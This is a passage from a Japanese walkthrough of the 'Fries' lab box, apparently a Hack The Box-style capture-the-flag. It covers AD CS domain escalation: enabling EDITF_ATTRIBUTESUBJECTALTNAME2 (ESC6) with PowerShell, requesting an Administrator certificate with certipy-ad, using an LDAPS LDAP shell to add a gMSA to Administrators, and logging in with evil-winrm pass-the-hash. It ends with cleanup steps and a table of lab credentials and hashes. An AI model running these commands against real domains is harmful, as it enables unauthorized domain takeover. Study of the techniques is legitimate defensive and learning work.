$CertAdmin.SetConfigEntry( $ConfigString, $Node, "EditFlags", ($Flags -bor $EDITF_ATTRIBUTESUBJECTALTNAME2))
$NewFlags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")"{0:X}" -f $NewFlagsRestart-Service certsvc11014E15014EKerberos/証明書認証では時刻差が効くため、攻撃側の時刻も DC に合わせます。
sudo systemctl stop systemd-timesyncdsudo ntpdate dc01.fries.htbtime stepped by 25201.097517User テンプレートは Domain Users が enroll 可能で、Client Authentication もあります。ESC6 の CA 設定変更後、要求属性で Administrator の UPN/SID を入れます。
ここで User テンプレートを使う理由は、svc_infra が Domain Users として enroll でき、証明書に Client Authentication EKU が入るためです。Client Authentication EKU がない証明書は、AD のユーザー認証用途には使いにくくなります。一方で、テンプレートや CA が szOID_NTDS_CA_SECURITY_EXT を付与する環境では、要求者の objectSid も証明書に入るため、後段の強い証明書マッピングに影響します。
certipy-ad req \ -u 'svc_infra@fries.htb' \ -p 'm6tneOMAh5p0wQ0d' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -template User \ -upn administrator@fries.htb \ -sid 'S-1-5-21-858338346-3861030516-3975240472-500'[*] Request ID is 45[*] Successfully requested certificate[*] Got certificate with UPN 'administrator@fries.htb'[!] Conflicting SIDs found in certificate:[!] SAN URL: 'S-1-5-21-858338346-3861030516-3975240472-500'[!] Security Extension: 'S-1-5-21-858338346-3861030516-3975240472-3601'[!] Windows will use the security extension SID for authentication purposes[*] Saving certificate and private key to 'administrator.pfx'通常の PKINIT では失敗します。これは重要な判断点です。
certipy-ad auth \ -pfx administrator.pfx \ -dc-ip 192.168.100.1 \ -username Administrator \ -domain fries.htb[*] Certificate identities:[*] SAN UPN: 'administrator@fries.htb'[*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'[*] Security Extension SID: 'S-1-5-21-858338346-3861030516-3975240472-3601'[-] Object SID mismatch between certificate and user 'administrator'svc_infra として使おうとしても UPN mismatch になります。
certipy-ad auth \ -pfx administrator.pfx \ -dc-ip 192.168.100.1 \ -username svc_infra \ -domain fries.htb[-] Name mismatch between certificate and user 'svc_infra'ここでの原因は、証明書に 2 種類の SID が入っていることです。
SAN UPN: administrator@fries.htbSAN URL SID: ...-500 # AdministratorSecurity Extension SID: ...-3601 # svc_infraKerberos PKINIT では KDC が Security Extension SID を厳格に見ます。そのため、この PFX は Administrator の TGT 取得には使えません。
LDAP Shell
Section titled “LDAP Shell”同じ PFX でも -ldap-shell は成功します。
certipy-ad auth \ -pfx administrator.pfx \ -dc-ip 192.168.100.1 \ -username Administrator \ -domain fries.htb \ -ldap-shell[*] Connecting to 'ldaps://192.168.100.1:636'[*] Authenticated to '192.168.100.1' as: 'u:FRIES\\Administrator'Type help for list of commands
# whoamiu:FRIES\Administrator理由は、通常の certipy-ad auth が Kerberos PKINIT で KDC に TGT を要求するのに対し、-ldap-shell は LDAPS Schannel client certificate authentication を使うためです。この環境では LDAPS 側の証明書マッピングが SAN UPN / SAN URL SID の Administrator 側に寄り、FRIES\Administrator として bind できました。TGT や NT hash が取れたわけではありませんが、LDAP bind としては Administrator なので AD オブジェクトを変更できます。
この違いは実務上も重要です。PFX は「証明書と秘密鍵の束」ですが、それを Kerberos PKINIT に使うのか、LDAPS の Schannel client certificate bind に使うのかで、評価するコンポーネントとマッピング規則が変わります。PKINIT は KDC が TGT を発行する処理なので SID 整合性に厳しく、LDAPS bind は LDAP サーバ側の証明書マッピングとして処理されます。今回は後者だけが Administrator として成立しました。
まずグループを確認します。
# get_user_groups administratorCN=Administrators,CN=Builtin,DC=fries,DC=htbCN=Schema Admins,CN=Users,DC=fries,DC=htbCN=Enterprise Admins,CN=Users,DC=fries,DC=htbCN=Domain Admins,CN=Users,DC=fries,DC=htbCN=Group Policy Creator Owners,CN=Users,DC=fries,DC=htb
# get_user_groups gMSA_CA_prod$CN=Remote Management Users,CN=Builtin,DC=fries,DC=htbAdministrator はユーザー名でもあるため、グループ名に使うと失敗しました。
# add_user_to_group svc_infra AdministratorLDAPObjectClassViolationResult - 65 - objectClassViolation正しく Administrators に gMSA_CA_prod$ を追加します。gMSA_CA_prod$ はすでに Remote Management Users なので、WinRM に使いやすいです。
# add_user_to_group gMSA_CA_prod$ AdministratorsAdding user: gMSA_CA_prod to group Administrators result: OK
# get_user_groups gMSA_CA_prod$CN=Administrators,CN=Builtin,DC=fries,DC=htbCN=Remote Management Users,CN=Builtin,DC=fries,DC=htb既存 WinRM セッションには新しいグループ membership が反映されないため、ログインし直します。
uv run evil-winrm-py \ -i 192.168.100.1 \ -u 'gMSA_CA_prod$' \ -H 5710cd97225e920cdc6badc919fc8c51権限を確認します。
whoami /privcd ../../Administratordircd Desktopdirtype root.txtSeDebugPrivilege Debug programs EnabledSeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories Enabled
Directory: C:\Users\Administrator\Desktoproot.txtuser.txt
[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”初期認証情報は AD、SMB、SSH、WinRM では失敗しました。Gitea と pgAdmin だけに有効だったため、Web アプリ側の認証情報として扱いました。
Friesf00Ds2025!! は SMB では失敗し、SSH の svc でのみ成功しました。これは pgAdmin コンテナの default password が Ubuntu local user に再利用されていたケースです。
Docker client cert の CN を pwn.com にすると TLS は進みますが、authz-broker の policy に一致せず失敗しました。policy.json を読んで CN=root に作り直す必要があります。
MachineAccountQuota: 0 のため、任意 machine account を作って Machine template を使う方向は成立しませんでした。
通常の ESC7 SubCA issue path は詰まりました。gMSA_CA_prod$ は ManageCa を持ち、officer 追加と SubCA 有効化はできましたが、denied request の issue/resubmit は Access denied でした。CA ACL には ManageCertificates の Deny があり、ここが実運用上の阻害要因でした。
ESC6 後に administrator.pfx は発行できましたが、Kerberos PKINIT は Object SID mismatch で失敗しました。Security Extension SID が svc_infra の SID だったためです。成功したのは TGT 取得ではなく、LDAPS Schannel の LDAP bind です。
LDAP shell の add_user_to_group svc_infra Administrator は、Administrator がグループではなくユーザーに解決されて失敗しました。正しいグループ名は Administrators です。
Cleanup Notes
Section titled “Cleanup Notes”CA 設定を戻す場合は、EDITF_ATTRIBUTESUBJECTALTNAME2 を落として certsvc を再起動します。
$ConfigString = "DC01.fries.htb\fries-DC01-CA"$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000$CertAdmin = New-Object -ComObject CertificateAuthority.Admin$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")$CertAdmin.SetConfigEntry( $ConfigString, $Node, "EditFlags", ($Flags -band (-bnot $EDITF_ATTRIBUTESUBJECTALTNAME2)))Restart-Service certsvc追加した group membership を戻します。
Remove-ADGroupMember -Identity "Administrators" -Members "gMSA_CA_prod$" -Confirm:$false攻撃側の NFS mount と一時ファイルを片付けます。
sudo umount /mnt/friesrm -f client-key.pem client.csr client-cert.pem ca.pem ca-key.pem ca.srl administrator.pfx 43.keyrm -rf certs時刻同期を止めていた場合は戻します。
sudo systemctl start systemd-timesyncdLigolo の agent と proxy も終了し、作成した tun interface を消します。
sudo ip link delete ligoloCredentials and Artifacts
Section titled “Credentials and Artifacts”| Artifact | Value |
|---|---|
| Initial Web Credential | d.cooper@fries.htb:D4LE11maan!! |
| PostgreSQL URL | postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db |
| pgAdmin Default Password | Friesf00Ds2025!! |
| SSH Credential | svc:Friesf00Ds2025!! |
| PWM Config Password | rockon! |
| LDAP Proxy Credential | svc_infra:m6tneOMAh5p0wQ0d |
| gMSA Hash | gMSA_CA_prod$:5710cd97225e920cdc6badc919fc8c51 |
| CA | fries-DC01-CA |
| Generated Certificate | administrator.pfx |
| Docker CA Files | ca.pem, ca-key.pem |
| User Flag Path | /root/user.txt on Ubuntu host mount |
| Root Flag Path | C:\Users\Administrator\Desktop\root.txt |
Required Knowledge
Section titled “Required Knowledge”Git 履歴から削除済みファイルを復元する方法。
pgAdmin authenticated RCE と、コンテナ内から環境変数や設定ファイルを調べる基本手順。
Ligolo-ng による内部ルーティングと、NAT 越し環境での内部 IP 指定。
NFS の UID/GID ベース権限、SSSD による AD group の Linux GID 解決。
Docker daemon の mTLS、client certificate の CN、authorization plugin policy の関係。
PWM の設定ファイル形式、bcrypt hash cracking、ENC-PW: の AES 復号。
BloodHound / RustHound での ReadGMSAPassword 発見と、NetExec による gMSA NTLM hash 抽出。
AD CS の ESC7、ESC6、EDITF_ATTRIBUTESUBJECTALTNAME2、CA service restart、テンプレート enroll 権限。
KB5014754 以降の強い証明書マッピングと、Kerberos PKINIT と LDAPS Schannel client certificate authentication の違い。
Final Thought
Section titled “Final Thought”Fries は、ひとつの脆弱性を見つけて終わる box ではなく、複数の管理境界をまたいで少しずつ権限と情報を積み上げる構成でした。外部 IP では Ubuntu と Windows DC のサービスが同居して見え、最初から構成を読み違えやすいです。初期認証情報も AD には通らず、Gitea と pgAdmin の Web アプリ側でだけ使えました。この時点で「認証情報は同じでも、どの認証基盤に属しているかを分けて考える」ことが重要になります。
user flag までの流れは、Web アプリからコンテナ、コンテナからホスト、ホストから内部ネットワークへ進む典型的な横展開でした。Gitea の履歴に残った .env、pgAdmin の authenticated RCE、コンテナ環境変数の password reuse、NFS の UID/GID 権限、Docker mTLS と authorization plugin というように、ひとつひとつは独立した小さなミスですが、連鎖すると Ubuntu ホストの root まで到達できます。特に Docker では、CA 秘密鍵を取っただけでは足りず、authz-broker の policy まで読んで CN=root の証明書を作る必要がありました。認証と認可が別の層にあることを見落とすと、そこで止まります。
root flag 側は AD CS の理解が中心でしたが、ここも単純な ESC7 では終わりませんでした。gMSA_CA_prod$ の ManageCa は強力に見えますが、テンプレート enroll 権限、CA ACL の Deny、request disposition、manager/officer 操作の実際の評価が絡みます。SubCA を有効化して denied request を作れても、issue/resubmit が Access denied になるため、通常の ESC7 手順は成立しません。Certipy の Vulnerabilities: ESC7 は攻撃可能性の強い指標ですが、必ずしも wiki の手順がそのまま最後まで通ることを保証しない、という良い例でした。
最終的な突破口は、ManageCa を使って CA policy の EDITF_ATTRIBUTESUBJECTALTNAME2 を有効化し、ESC6 相当の状態を作ったことです。ただし、ここでも certutil -setreg は管理者権限不足で失敗し、CertificateAuthority.Admin COM object からの SetConfigEntry は通るという差がありました。Windows の管理操作は、使う API や実行コンテキストによって要求される権限や挙動が変わることがあります。再現時は「同じ設定変更でも、どのツールで変更しているか」を記録しておくと詰まりにくいです。
一番面白い点は、administrator.pfx の扱いです。証明書は発行でき、SAN UPN と SAN URL SID には Administrator が入りますが、Security Extension SID には要求者 svc_infra の SID が入ります。そのため Kerberos PKINIT では KDC が SID mismatch として拒否します。これは失敗ではなく、強い証明書マッピングが効いていることを示す正しい結果です。一方で certipy-ad auth -ldap-shell は LDAPS Schannel client certificate authentication を使い、この環境では Administrator として LDAP bind できました。同じ PFX でも、PKINIT と LDAPS Schannel では評価するコンポーネントとマッピング規則が違う、という点がこの box の核心です。
最終段では、LDAP bind としての Administrator 権限を使って gMSA_CA_prod$ を Administrators に追加し、WinRM にログインし直す必要がありました。既存セッションには新しい group membership が反映されないため、再ログインして token を作り直すところまで含めて手順です。また、Administrator と Administrators のような名前の解決ミスでも簡単に失敗するため、LDAP shell では対象がユーザーなのかグループなのかを必ず確認した方がよいです。
全体として、Fries は「列挙の結果をどう読むか」が重要な box でした。Git 履歴、環境変数、NFS の数値 GID、Docker policy、BloodHound の edge、Certipy の CA/template 出力、SID mismatch のエラー文がそれぞれ次の判断材料になっています。長い chain ですが、各段階で得た artifact が次の段階にどう接続するかを丁寧に追えば再現できます。逆に、エラーを単なる失敗として流すと、ESC7 の Access denied や PKINIT の Object SID mismatch で方向を見失いやすい box でした。

